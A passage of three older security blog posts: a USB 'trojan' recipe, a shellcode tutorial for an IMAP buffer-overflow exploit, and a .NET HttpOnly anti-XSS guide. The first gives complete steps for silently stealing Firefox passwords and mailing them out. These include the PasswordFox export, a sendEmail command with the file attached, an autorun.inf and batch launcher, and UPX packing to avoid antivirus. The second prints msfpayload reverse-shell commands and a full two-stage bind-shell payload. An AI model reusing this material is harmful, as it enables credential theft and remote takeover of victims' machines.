27/04/2012

Trojana-zing USB sticks

USB nowadays 

Now days most of us have a USB flash drive (sometimes also referred to as a USB stick, USB memory stick or simply a flash drive) that what we use when we want to store data temporarily. They are really small and lightweight and are very practical when you want to move files from one computer to another.

That is all fine, but what happens when none trusted USB’s are inserted in our USB stick drives, how difficult is it for someone to steal and e-mail all our passwords within seconds? Well the answer for someone that knows is simple, a few seconds is more than enough for someone to collect all your passwords from your laptop.

USB flash drives are used when data is moved between home and office. They are also often used when data is moved inside an office, for example when moving data to/from a computer that is not connected to a network. Obviously that is the main reason that a PC not connected to internet can be infected with Trojans, viruses and other malicious software. A very well known worm that had a great impact worldwide is Conflicker [9].  Conflicker initially did not use USB’s as a infection medium, but later on it updated itself and started infecting USB stick, and that was when the spreading increased dramatically.

Trojan-azing a USB stick

How difficult is for someone to convert a USB stick into a Trojan? Well this article is going to so you that even a person with little to no knowledge of computers can steal and e-mail your passwords using open source and freeware software to construct a USB Trojan that is practically not traceable from industry software antivirus, because this programs are legitimate programs, but when combined together can do real damage.

The key components of constructing a USB Trojan would be:

  1. The password collector (e.g. tool that is going to collect your password).
  2. The transportation method (e.g. method to send over Internet the stolen passwords).
  3. A compressor (e.g. reduce the payload size )
  4.  The execution method (e.g. the method to execute the desired payload when USB is inserted to the target PC).
Well the first tool to use would be the password collector, for the purpose of this article I am going to use PasswordFox, for the transportation method I will use SMTP along with a tool called Sentmail and for the execution method I will use Autorun. 

About SendEmail our Communication Channel

SendEmail is a lightweight, command line SMTP email client. With it you can send e-mails from a command line, this free program is perfect, simple to use and feature rich. It was designed to be used in bash scripts, batch files. SendEmail is written in Perl (but can also run as a standalone executable in windows) and is unique in that it requires NO MODULES. It has an intuitive and flexible set of command-line options, making it very easy to use. SendEmail is licensed under the GNU GPL, either version 2 of the License or any later version.  Supported Platforms are Linux, BSD, OS X, Windows 98, Windows NT, Windows 2000, & Windows XP. [1]

The following picture show a screen shot of the Sentmail help from command line:

 
Note: Sentmail also supports TLS but for the purposes of this article we are not going to use the TLSv1.0 option, although it might be a good idea to do it if you want to bypass reverse SSL proxies or content inspection devices.

Why use Sentmail?

I think that is obvious how Sentmail can be used for malicious purposes such as spamming, e-mail spoofing attacks, and automated virus distribution e.t.c.  , a malicious user can simply integrate the Sentmail executable to another executable (e.g. notepad.exe) as a Trojan  using a packer such as upx  [2] or IExpress Wizard [3] , upload the executable in his/her web site and then use social engineering to convince innocent users to download and execute the maliciously altered  executable. But the most interesting characteristics of Sentmail are that it is a standalone executable and its size is only 692 KB.

About PasswordFox as our Password Collector

PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signors filename.  This utility works under Windows 2000, Windows XP, Windows Server 2003, Windows Vista, and Windows 7. Firefox should also be installed on your system in order to use this utility. [4]

Why Use PasswordFox

PasswordFox doesn't require any installation process or additional DLL files, but firefox browser must be installed on your computer in order allow PasswordFox to grab the targeted passwords list. PasswordFox is again a standalone executable and in order to start using PasswordFox, you can simply double click the executable file.

After running it, the main window will display your entire passwords firefox list for the last profile that you used.  That’s not all PasswordFox can do. PasswordFox can also run from command line and splash you firefox password list into a txt file. Also the tool size is ridiculously small only 40 KB, amazing what 40 KB can do to your firefox password profile eee?

The following screen shot shows how we can actually use PasswordFox from command line is:


Note:  Not much to see, PasswordFox tool does not support the help command. Check out the /stext options used, this option is going to export all my firefox passwords into the txt file named pass.txt.

About UPX as our Compressor

UPS is a freeware high quality executable compressor, and ideal for our job.  The UPX author claims that it has a better compression rate than that of WinZip/zip/gzip with no memory overhead for your compressed executables. UPX is distributed with full source code under the GNU General Public License v2+, with special exceptions granting the free usage for commercial programs as stated in the UPX License Agreement. [2]

Compressing our executables

We will compress our executables using UPX for two main reasons, first to reduce antivirus detection possibility and second to reduce the size of our executables.  Antivirus bypassing is not so easy to achieve and out of the scope of this article. So let’s go on and compress our executables.  From the command line the commands we have to issue are:

  1. upx –brute Sentmail.exe
  2. upx –brute PasswordFox.exe
The following screen shot shows the outcome of this command:


Note:  The PasswordFox.exe was already compressed with upx by the author.  

Sending our Password Collection Using Sentmail

Sending a not easily traceable e-mail is not going to be easy. We will need either use a costume valid e-mail address from publicly well known e-mail servers such as Google and Yahoo or we can use an open mail relay server.  

An open mail relay is an SMTP server configured in such a way that it allows anyone on the Internet to send e-mail through it, not just mail destined to or originating from known users. This used to be the default configuration in many mail servers; indeed, it was the way the Internet was initially set up, but open mail relays have become unpopular due to their exploitation by spammers and worms. Many relays were closed, or were placed on blacklists by other servers. [5]


For the purpose of this article we will use Google Mail Serve to send our malicious e-mail this, so the following command would do the Job:


sendEmail.exe -t  somemail@something.com -o tls=auto  -f  yourgmail@gmail.com  -u youmailsubject  -m yourmailbody  -a pass.txt -s smtp.gmail.com -xp yourpassword  -xu youusername


Note: In order to use Google mail you have to use TLS (Sentmail does support TLS, so it is not going to be a problem). The –a option add the file attachment containing the passwords.

Launching a program on a USB

Using Autorun.inf to automatically launch a program on a USB flash drive is very easy, but you have to know the windows platform (e.g. Windows 7, Vista, XP e.t.c) it depends on the version of the Windows you are targeting  the design your USB Autorun. Below I will show you how to handle this in different Windows versions. [7]

Handling different Windows versions would be mean using the keyword START and ACTION in the Autorun.inf file.  So the Autorun file would look like this in its final form:
  1. [AutoRun]
  2. OPEN=run.bat
  3. ACTION=run.bat 
The run.bat file is a bat file (also called batch file) that you can edit with notepad and add the commands show below:
  1. Start PasswordFox.exe /stext
  2. Start Sentmail <parameters>

If autorun is disabled on a specific computer, you will not see the autorun menu when the flash drive is plugged in; hence the application will not start automatically. In that case you will be forced to explore the drive and run the program manually. If you need to launch the program with specific command line parameters then you can open a console window and type the parameters there, or use a .BAT script to do the same task. [10]

Finally launching the attack

Step 1:  Copy the .Bat file that issues the command described above.
Step 2: Make sure USB Autorun is enabled in the target machine.
Step 3: Copy the Autorun.inf file with the configuration described above.

Further Attack improvements

The attack described in this article can be optimized to be more resilient to antivirus software, but bypassing antivirus software is out of the scope of this article due to its added complexity.

Bypassing the auto-run limitation

The Teensy USB HID Attack Vector is a remarkable combination of customized hardware and bypassing restrictions by keyboard emulation. Traditionally, when you insert a DVD/CD or USB if autorun is disabled (after Windows XP service pack 2 autorun is disabled, I think it is SP2!), your autorun.inf isn’t called and you can’t execute your code automatically. With the Teensy HID based device you can emulate a keyboard and mouse. When you insert the device it will be detected as a keyboard, and with the microprocessor and onboard flash memory storage you can send a very fast set of keystrokes to the machine and completely compromise it. You can order a Teensy device for around 17 dollars at http://www.prjc.com.

The following extract was taken from the blog of werew01f which he/she was kind enough to commend on the inaccuracy of this blog post:

Teensy, USB-based micro-controller development board, which can be programmed to emulate as any device and store programming code. I have wrote an article that describes how you can emulate the device as a HID (Human Interface Device) and inject attack codes and execute commands in the system.
    
Epilogue

I sure I proved how easy is to steal and e-mail user credentials within a few seconds even you have little to no experience at all. Again nowadays it is very critical to protect your assets from all dangers. The best think someone could do to protect his/her information is to disable autorun and apply proper Endpoint Protection Software.

References:

  1. http://caspian.dotconf.net/menu/Software/SendEmail/
  2. http://upx.sourceforge.net/
  3. http://technet.microsoft.com/en-us/library/dd346760.aspx
  4. http://www.nirsoft.net/utils/passwordfox.html
  5. http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-sean_taylor-binary_obfuscation.pdf
  6. http://en.wikipedia.org/wiki/Open_mail_relay
  7. http://www.samlogic.net/articles/autorun-usb-flash-drive.htm
  8. http://www.samlogic.net/articles/autorun-usb-flash-drive-windows-7.htm
  9. http://en.wikipedia.org/wiki/Conficker
  10. http://lazybit.com/index.php/2007/03/01/usb_flash_drive_autorun
  11. http://www.offensive-security.com/metasploit-unleashed/Teensy_USB_HID_Attack 

24/04/2012

Over The Flow (Part 3)

Intro

This post is the third of the Over The Flow series. In this post I am going to explain what is a shellcode and what are the types of shellcodes. In this post I am also going to refer to the types of the shellcode that I will be injecting to our vulnerable application (if you don't know what the vulnerable application is, have a look to my previous posts). But first I am going to do some research on what a shellcode means as based on  Computer Security context. 

What is a Shellcode

In computer security, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine. Shellcode is commonly written in machine code, but any piece of code that performs a similar task can be called shellcode. Because the function of a payload is not limited to merely spawning a shell, some have suggested that the name shellcode are insufficient. However, attempts at replacing the term have not gained wide acceptance. 

More specifically a shellcode can be seen as a list of instructions that have been developed in a manner that allows us to inject it in an application during runtime.Injecting shellcode in an application can be done trough many different security holes of which buffer overflows are the most popular ones. 

Origin of the term Shellcode

The shellcode is the code of the shell, meaning a code that provides you with a shell. A shell is a software that provides an interface for users of an operating system which provides access to the services of a kernel. However, the term is also applied very loosely to applications and may include any software that is "built around" a particular component, such as web browsers and email clients that are "shells" for HTML rendering engines. The name shell originates from shells being an outer layer of interface between the user and the internals of the operating system (the kernel).


Operating system shells generally fall into one of two categories: command-line and graphical. Command-line shells provide a command-line interface (CLI) to the operating system, while graphical shells provide a graphical user interface (GUI). In either category the primary purpose of the shell is to invoke or "launch" another program; however, shells frequently have additional capabilities such as viewing the contents of directories. More specifically for our post shell means an interactive command prompt with the operating system.

Type of Shellcode

A shellcode can either be local or remote, depending on whether it gives an attacker control over the machine it runs on (local) or over another machine through a network (remote). 

Local Shellcode

Local shellcode is used by an attacker who has limited access to a machine but can exploit a vulnerability, for example a buffer overflow, in a higher-privileged process on that machine. If successfully executed, the shellcode will provide the attacker access to the machine with the same higher privileges as the targeted process.

Remote Shellcode

Remote shellcode is used when an attacker wants to target a vulnerable process running on another machine on a local network or intra-net. If successfully executed, the shellcode can provide the attacker access to the target machine across the network. Remote shellcodes normally use standard TCP/IP socket connections to allow the attacker access to the shell on the target machine. Such shellcode can be categorized based on how this connection is set up: if the shellcode can establish this connection, it is called a "reverse shell" or a connect-back shellcode because the shellcode connects back to the attacker's machine.

On the other hand, if the attacker needs to create the connection, the shellcode is called a bindshell because the shellcode binds to a certain port on which the attacker can connect to control it. A third type, much less common, is socket-reuse shellcode. This type of shellcode is sometimes used when an exploit establishes a connection to the vulnerable process that is not closed before the shellcode is run. The shellcode can then re-use this connection to communicate with the attacker. Socket re-using shellcode is harder to create because the shellcode needs to find out which connection to re-use and the machine may have many connections open.

Download and execute types of Shellcodes

Download and execute is a type of remote shellcode that downloads and executes some form of malware on the target system. This type of shellcode does not spawn a shell, but rather instructs the machine to download a certain executable file off the network, save it to disk and execute it. A variation of this type of shellcode downloads and loads a library. Advantages of this technique are that the code can be smaller, that it does not require the shellcode to spawn a new process on the target system, and that the shellcode does not need code to clean up the targeted process as this can be done by the library loaded into the process.

When the amount of data that an attacker can inject into the target process is too limited to execute useful shellcode directly, it may be possible to execute it in stages. First, a small piece of shellcode (stage 1) is executed. This code then downloads a larger piece of shellcode (stage 2) into the process's memory and executes it.  

Egg-hunt

This is another form of staged shellcode, which is used if an attacker can inject a larger shellcode into the process but cannot determine where in the process it will end up. Small egg-hunt shellcode is injected into the process at a predictable location and executed. This code then searches the process's address space for the larger shellcode (the egg) and executes it.

Shellcode execution strategy

An exploit will commonly inject a shellcode into the target process before or at the same time as it exploits a vulnerability to gain control over the program counter. The program counter is adjusted to point to the shellcode, after which it gets executed and performs its task. Injecting the shellcode is often done by storing the shellcode in data sent over the network to the vulnerable process, by supplying it in a file that is read by the vulnerable process or through the command line or environment in the case of local exploits.

Why Shellcode encoding

Because most processes filter or restrict the data that can be injected, shellcode often needs to be written to allow for these restrictions. This includes making the code small, null-free or alphanumeric. Various solutions have been found to get around such restrictions, including:
  1. Design and implementation optimizations to decrease the size of the shellcode.
  2. Implementation modifications to get around limitations in the range of bytes used in the shellcode.
  3. Self-modifying code that modifies a number of the bytes of its own code before executing them to re-create bytes that are normally impossible to inject into the process.
Shellcode repositories

There are tons of repositories all around the Internet for shellcoding. Namely, the metasploit project seems to be the best. Writing an exploit can be difficult, what happens when all of the pre-written blocks of code cease to work? You need to write your own! Hopefully this tutorial will give you a good head start.

Finding your own Shellcode

Well believe it or not you do not have to use MSFPayload to get a Shellcode now you can gain access to all type of shellcode from  shellcode-strom website just by clicking here.   Shell-Storm.org is a development organization based on GNU/Linux systems that provide free projects and source codes. Of course in order to use this type of shellcode you might have to know little about assembly :(,  but that is life with shellcoding right? A funny Shellcode is the beep Shellcode which you can find here, which obviously what it does is Beeping here is the relevant extract: Shellcode can be changed to work with any windows distribution by changing the address of Beep in kernel32.dll Addresses for SP1 and SP2.Another website to download Shellcodes is of course the exploit-db which you can find here. I should also remind you that I already generated a Shellcode using MSFPayload tool kit so I am not going to waste anymore time in Shellcodes from Internet. 

Generating your own Shellcode using msfpayload

In order to generate your own shellcode you can use msfpayload utility (even though if you want to do it properly you would have to write your own shellcodes!!). So msfpayload is a command-line instance of Metasploit that is used to generate and output all of the various types of shellcode that are available in Metasploit. The most common use of this tool is for the generation of shellcode for an exploit that is not currently in the Metasploit Framework or for testing different types of shellcode and options before finalizing an exploit. 

This is a sample msfpayload command usage:


Note: This command option shows you the options for each shellcode you would like to generate.Default port is 4444, a nice port to start a pen-test.

As we can see from the output, we can configure three different options with this specific payload, if they are required, if they come with any default settings, and a short description:

EXITFUNC
  1. Required
  2. Default setting: process
LPORT
  1. Required
  2. Default setting: 4444
RHOST
  1. Not required
  2. No default settings
Setting these options in msfpayload is very simple. An example is shown below of changing the exit technique and listening port of the shell (click to enlarge):


Note: The exit code is related to the type of the exploit. Some exploits might not work if you choose the wrong type of exit. For example a SEH exploit such as ours probably would have to exit using the SEH exit function. In any case you might have to brute force the vulnerability, which this might also crash the service, so it is not a good idea.

Now that all of that is configured, the only option left is to specify the output type such as C, Perl, Raw, etc. For this example we are going to output our shellcode as C (click to enlarge):


Note: Now we have our fully customized shellcode to be used in any exploit. This shellcode with a few modifications can be imported to python or ruby.

Generating your own Shellcode using msfvenom

The utility msfvenom is a combination of msfpayload and msfencode, putting both of these tools into a single framework instance. The advantages of msfvenom are:
  1.     One single tool
  2.     Standardized command line options
  3.     Increased speed
Msfvenom has a wide range of options available (click to enlarge):


An example of the usage of msfvenom can be seen below:



Note: The command and resulting shellcode above generates a Windows bind shell with three iterations of the shikata_ga_nai encoder without any null bytes in our shellcode.

Note: You can also generate your shellcode from console after issuing a show payloads command and then typing generate. From the generate command you can do all stuff such as encoding and removing all bad characters.

Increasing Shellcode execution probability

There are cases where you need to obtain a pure alphanumeric shellcode because of character filtering in the exploited application. MSFpayload can generate alphanumeric shellcode easily through msfencode. Also bad characters can have a number of different effects in an exploit and you would also want to remove them. And at last encoding transformation types also might be a problem so unicoding shellcodes must something you should be able to do. 

Alphanumeric and printable Shellcode

In certain circumstances, a target process will filter any byte from the injected shellcode that is not a printable or alphanumeric character. Under such circumstances, the range of instructions that can be used to write a shellcode becomes very limited. A solution to this problem was published by Rix in Phrack 57 in which he showed it was possible to turn any code into alphanumeric code. A technique often used is to create self-modifying code, because this allows the code to modify its own bytes to include bytes outside of the normally allowed range, thereby expanding the range of instructions it can use. Using this trick, a self-modifying decoder can be created that initially uses only bytes in the allowed range. The main code of the shellcode is encoded, also only using bytes in the allowed range. When the output shellcode is running, the decoder can modify its own code to be able to use any instruction it requires to function properly and then continues to decode the original shellcode. After decoding the shellcode the decoder transfers control to it, so it can be executed as normal. It has been shown that it is possible to create arbitrarily complex shellcode that looks like normal text in English.

msfpayload windows/shell/bind_tcp R | ./msfencode -e x86/alpha_mixed

Note: This command removes converts your shellcode to alphanumeric. This can also be used to by pass host based IPS software or Network Based IPS devices.

Unicode Shellcode

Modern programs use Unicode strings to allow internationalization of text. Often, these programs will convert incoming ASCII strings to Unicode before processing them. Unicode strings encoded in UTF-16 use two bytes to encode each character (or four bytes for some special characters). When an ASCII string is transformed into UTF-16, a zero byte is inserted after each byte in the original string. Obscou proved in Phrack 61 that it is possible to write shellcode that can run successfully after this transformation. Programs that can automatically encode any shellcode into alphanumeric UTF-16-proof shellcode exist, based on the same principle of a small self-modifying decoder that decodes the original shellcode. You can find out about Unicode characters here.

Removing bad characters in your Shellcode

Bad characters can have a number of different effects in an exploit. Sometimes they get translated to one or more other characters, or they get removed from the string entirely, in which case you work out which characters are bad by examining the memory dump in the debugger, finding your buffer, and seeing which characters are missing or have changed. In other cases however, bad characters seem to completely change the structure of the buffer, and simple memory examination won't tell you which ones are missing.

The command to avoid this types of problems is:

msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 R | msfencode -a x86 -b '\x00\x0a\x0d' -t c

Note: This command removes all bad characters such as \x00m \x0a and \xd (remember from previous posts that this characters were used for header injection attacks in Web Applications). 

The INT 3 interrupt call

The INT instruction is an assembly language instruction for x86 processors that generates a software interrupt. It takes the interrupt number formatted as a byte value.When written in assembly language, the instruction is written like this:
INT X 

Note: Where X is the software interrupt that should be generated. 

The INT 3 instruction is defined for use by debuggers to temporarily replace an instruction in a running program, in order to set a breakpoint. Other INT instructions are encoded using two bytes. This makes them unsuitable for use in patching instructions (which can be one byte long), for more information see SIGTRAP.

When writing exploits the opcode for INT 3 is used to test and make a functional our shellcode. The INT 3 software interrupt in hexadecimal is 0xCC. So for our example when we want to inject a shellcode we will inject software interrupts in the position of the possible shellcode and try to work our way through.

Shellcode injection methodology

So the method used to inject  a shellcode into an application and run is:
  1. Go through the implementation details if the technology through RFC's (e.g. IMAP4 RFC) and identify possible implementation issues. For our exploit development using IMAP4 RFC helped us identify the bracket character bad handling.
  2. Fuzz the application in order to create an overflow and crush the vulnerable program and identify the proper attack vector, for Eudora Qualcomm WorldMail 3.0 it was the LIST command. In our application I used a large buffer of A's ending with the } character.
  3. Identify the size of the exact buffer size that crushes the vulnerable application if needed. Again for our exploit development example we found out that the IMAP4 sever crushes using this A*125+} or else with this Python representation string '\x41' * 125 + '\x7D' we also calculated the spaces to insert the shellcode, but this is shown in the next post.
  4. Use metasploit pattern_create and pattern_offset tools to identify the exact position of the EIP address. In our vulnerable program we managed to identify the position of the EIP and we overwrote with 4 C's.
  5. Inject the shellcode and debug the vulnerable application using INT3 software interrupts. Repeat the same process until you have a working shellcode. This part is used for proper positioning of the shell.
Here is a conceptual representation of the process:  


Note:  See how linear is the process of injecting the shellcode. 
 

The Shellcode for our vulnerable server

We want to exploit Eudora Qualcomm WorldMail 3.0 software and more specifically we want to exploit a buffer overflow in the LIST command as explained in previous posts (the Over The Flow Post Part 1). Now if you have a look at the exploit that we are trying to replicate you will understand that the shellcode used is a staged shellcode, also called a two part shellcode. This exploit can be found here , if you click at the link you will also find out that the first stage is not downloading the second part. The first stage of the shellcode is a 42 byte code that points to the second part that is the true shellcode that binds a shell to port 4444.Which means that when the first stage is executed it searches for the second stage and executes it. 

So this is the first stage shellcode (directly taken from the exploit):

# Using Msf::Encoder::PexFnstenvMov with final size of 42 bytes
# First Stage Shellcode
sc3  ="\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x2f\x77\x28"
sc3 +="\x4b\x83\xeb\xfc\xe2\xf4\xf6\x99\xf1\x3f\x0b\x83\x71\xcb\xee\x7d"
sc3 +="\xb8\xb5\xe2\x89\xe5\xb5\xe2\x88\xc9\x4b"

So this is the second stage shellcode (directly taken from the exploit):

# win32_bind -  EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum
# Second Stage Shellcode

sc4  ="\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
sc4 +="\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
sc4 +="\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
sc4 +="\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
sc4 +="\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x56\x4b\x4e"
sc4 +="\x4d\x54\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x38"
sc4 +="\x4e\x36\x46\x32\x46\x52\x4b\x58\x45\x54\x4e\x53\x4b\x38\x4e\x37"
sc4 +="\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x34\x4a\x31\x4b\x48"
sc4 +="\x4f\x35\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x58"
sc4 +="\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x38\x42\x4c"
sc4 +="\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"
sc4 +="\x46\x4f\x4b\x33\x46\x35\x46\x52\x4a\x32\x45\x37\x45\x4e\x4b\x48"
sc4 +="\x4f\x35\x46\x32\x41\x50\x4b\x4e\x48\x36\x4b\x38\x4e\x50\x4b\x34"
sc4 +="\x4b\x38\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x43\x30\x4e\x32\x4b\x38"
sc4 +="\x49\x48\x4e\x36\x46\x32\x4e\x41\x41\x36\x43\x4c\x41\x53\x4b\x4d"
sc4 +="\x46\x56\x4b\x58\x43\x54\x42\x53\x4b\x48\x42\x34\x4e\x50\x4b\x58"
sc4 +="\x42\x37\x4e\x41\x4d\x4a\x4b\x58\x42\x44\x4a\x30\x50\x55\x4a\x46"
sc4 +="\x50\x38\x50\x44\x50\x50\x4e\x4e\x42\x35\x4f\x4f\x48\x4d\x48\x56"
sc4 +="\x43\x55\x48\x56\x4a\x46\x43\x53\x44\x53\x4a\x56\x47\x37\x43\x57"
sc4 +="\x44\x43\x4f\x45\x46\x45\x4f\x4f\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e"
sc4 +="\x4e\x4f\x4b\x43\x42\x35\x4f\x4f\x48\x4d\x4f\x45\x49\x38\x45\x4e"
sc4 +="\x48\x36\x41\x38\x4d\x4e\x4a\x30\x44\x50\x45\x55\x4c\x36\x44\x30"
sc4 +="\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x55"
sc4 +="\x4f\x4f\x48\x4d\x43\x55\x43\x45\x43\x45\x43\x45\x43\x45\x43\x44"
sc4 +="\x43\x45\x43\x44\x43\x55\x4f\x4f\x42\x4d\x48\x36\x4a\x56\x41\x31"
sc4 +="\x4e\x55\x48\x46\x43\x45\x49\x48\x41\x4e\x45\x49\x4a\x46\x46\x4a"
sc4 +="\x4c\x51\x42\x57\x47\x4c\x47\x35\x4f\x4f\x48\x4d\x4c\x36\x42\x31"
sc4 +="\x41\x35\x45\x45\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x42"
sc4 +="\x49\x4e\x47\x45\x4f\x4f\x48\x4d\x43\x45\x45\x35\x4f\x4f\x42\x4d"
sc4 +="\x4a\x36\x45\x4e\x49\x54\x48\x48\x49\x54\x47\x55\x4f\x4f\x48\x4d"
sc4 +="\x42\x35\x46\x45\x46\x55\x45\x45\x4f\x4f\x42\x4d\x43\x49\x4a\x46"
sc4 +="\x47\x4e\x49\x37\x48\x4c\x49\x37\x47\x35\x4f\x4f\x48\x4d\x45\x55"
sc4 +="\x4f\x4f\x42\x4d\x48\x36\x4c\x56\x46\x36\x48\x46\x4a\x36\x43\x56"
sc4 +="\x4d\x56\x49\x58\x45\x4e\x4c\x56\x42\x45\x49\x35\x49\x32\x4e\x4c"
sc4 +="\x49\x38\x47\x4e\x4c\x36\x46\x54\x49\x38\x44\x4e\x41\x33\x42\x4c"
sc4 +="\x43\x4f\x4c\x4a\x50\x4f\x44\x44\x4d\x52\x50\x4f\x44\x34\x4e\x32"
sc4 +="\x43\x59\x4d\x58\x4c\x57\x4a\x53\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36"
sc4 +="\x44\x57\x50\x4f\x43\x4b\x48\x51\x4f\x4f\x45\x57\x46\x44\x4f\x4f"
sc4 +="\x48\x4d\x4b\x55\x47\x55\x44\x55\x41\x55\x41\x45\x41\x35\x4c\x46"
sc4 +="\x41\x30\x41\x35\x41\x45\x45\x55\x41\x55\x4f\x4f\x42\x4d\x4a\x56"
sc4 +="\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x36"
sc4 +="\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f\x42\x4d\x4b\x38\x47\x55\x4e\x4f"
sc4 +="\x43\x58\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x45\x4f\x4f\x42\x4d"
sc4 +="\x4a\x46\x42\x4f\x4c\x58\x46\x30\x4f\x35\x43\x35\x4f\x4f\x48\x4d"
sc4 +="\x4f\x4f\x42\x4d\x5a"

Epilogue

In the next part I will finally injecting the shellcode. As you can already see things become more and more complicated.


Reference:
  1. http://en.wikipedia.org/wiki/Shellcode 
  2. http://skypher.com/wiki/index.php/Hacking/Shellcode/GetPC
  3. http://www.amazon.com/The-Shellcoders-Handbook-Discovering-Exploiting/dp/047008023X/ref=sr_1_1?s=books&ie=UTF8&qid=1335215521&sr=1-1
  4. http://www.microsoft.com/whdc/devtools/debugging/default.mspx
  5. http://www.ecsl.cs.sunysb.edu/cse684/
  6. http://www.shell-storm.org/shellcode/shellcode-windows.php
  7. http://www.exploit-db.com/shellcode/
  8. http://en.wikibooks.org/wiki/Metasploit/WritingWindowsExploit
  9. http://www.ruby-lang.org/en/libraries/ 
  10. http://en.wikipedia.org/wiki/Address_space_layout_randomization 
  11. http://www.blackhat.com/presentations/bh-dc-07/Whitehouse/Presentation/bh-dc-07-Whitehouse.pdf 
  12. http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-2-%E2%80%94-exploiting-the-stack-overflow/ 
  13. http://www.safemode.org/files/zillion/shellcode/doc/Writing_shellcode.html 
  14. http://www.offensive-security.com/metasploit-unleashed/Msfpayload 
  15. http://en.wikipedia.org/wiki/Shell_%28computing%29 
  16. http://www.phrack.org/issues.html?id=7&issue=62
  17. http://www.slideshare.net/amiable_indian/writing-metasploit-plugins 
  18. http://en.wikipedia.org/wiki/List_of_Unicode_characters   

23/04/2012

Defending against XSS with .NET

Intro 

This is an older post from my previous blog that now does not exist. 

Use the HttpOnly Cookie Option

Internet Explorer 6 Service Pack 1 and later supports the HttpOnly cookie attribute, which prevents client-side scripts from accessing a cookie using the DOM object document.cookie. If someone uses the that particular DOM object the script will return an empty string. The cookie is still sent to the server whenever the user browses to a Web site in the current domain. Now if you use .NET to set the HttpOnly attribute to true, what practically happens is that the Http header response field Set-Cookie adds one more attribute (except from the ones that is already supposed to have) at the of the line called HttpOnly. It looks something like that:

Set-Cookie: USER=123; expires=Wednesday, 09-Nov-99 23:12:40 GMT; HttpOnly


Now if the Web browser is IE 6 with sp1 and above it wont allow JavaScript DOM object to access the cookie, but if any other browser is used then it does not provide any protection. The thing is that the Set-Cookie is actually used when the web server decides for the first time to log your activity as a web user, meaning for example the after a successful authentication your cookie is going to be used probably as a security token. The following picture shows how someone can use social engineering to make you execute malicious JavaScript and steal your cookie [5].


Picture : HttpOnly option in action [1].

Note: Web browsers that do not support the HttpOnly cookie attribute either ignore the cookie or ignore the attribute, which means that it is still subject to cross-site scripting attacks [5].

Now if the Web browser is IE 6 with sp1 and above it wont allow JavaScript DOM object to access the cookie, but if any other browser is used then it does not provide any protection. The thing is that the Set-Cookie is actually used when the web server decides for the first time to log your activity as a web user, meaning for example the after a successful authentication your cookie is going to be used probably as a security token. The following picture shows how someone can use social engineering to make you execute malicious JavaScript and steal your cookie [5].

It is important for the developer to understant that this property is already set by default for Authentication and Sessions cookies in ASP.NET 2.0 but not for manually issued cookies.  Therefore, you should consider enabling this option for your manually issued cookies as well.  This option can be enabled in web.config by modifying the httpCookies element as in the example below [4]: 

<httpCookies httpOnlyCookies=“true“ /> 

The System.Net.Cookie class

The System.Net.Cookie class in Microsoft .NET Framework version 2.0 supports the HttpOnly property. The HttpOnly property is always set to true when someone is using the Form authentication. Earlier versions of the .NET Framework (versions 1.0 and 1.1) require that you add code to the  Application_EndRequest event handler in your application Global.asax file to explicitly set the HttpOnly attribute. The code that is actually enabling you to use HttpOnly cookie is:

Visual Basic (Usage):

Dim instance As Cookie Dim value As Boolean value = instance.HttpOnly instance.HttpOnly = value 

Code Example: HttpOnly option set using code[3].

In ASP.NET 1.1 the System.Net.Cookie class does not support the HttpOnly property. Therefore, to add an HttpOnly attribute to the cookie you must add the following code to your application’s Application_EndRequest event handler in Global.asax [4]:

protected void Application_EndRequest(Object sender, EventArgs e)
{
string authCookie = FormsAuthentication.FormsCookieName;

      foreach (string sCookie in Response.Cookies)
      {
            if (sCookie.Equals(authCookie))
            {
                  Response.Cookies[sCookie].Path += “;HttpOnly”;
            }
      }
}

Code Example: HttpOnly option set using web.config [4]. 

Do Not Rely only in the HttpOnly flag for XSS issues

The HttpOnly protection mechanism is useful only in case where the attacker is not skillful enough to undertake other means for attacking the remote application and subsequently the user. Although, session hijacking is still considered the only thing you can do when having XSS, this is for from what is actually possible. The truth is that session hijacking is probably one of the least things the attacker will do for a number of reasons. The most obvious reason is that XSS attacks, although could be targeted, are not instant, like traditional overrun attacks where the attacker point the exploit to a remote location and gain access right away. For an XSS attack to be successful, sometimes it is required a certain period of time. It is highly unlikely that the attacker will wait all the time just to get a session which could be invalid a couple of moments later when the user clicks on the logout button. Remember, session hijacking is possible because concurrent sessions are possible [2].

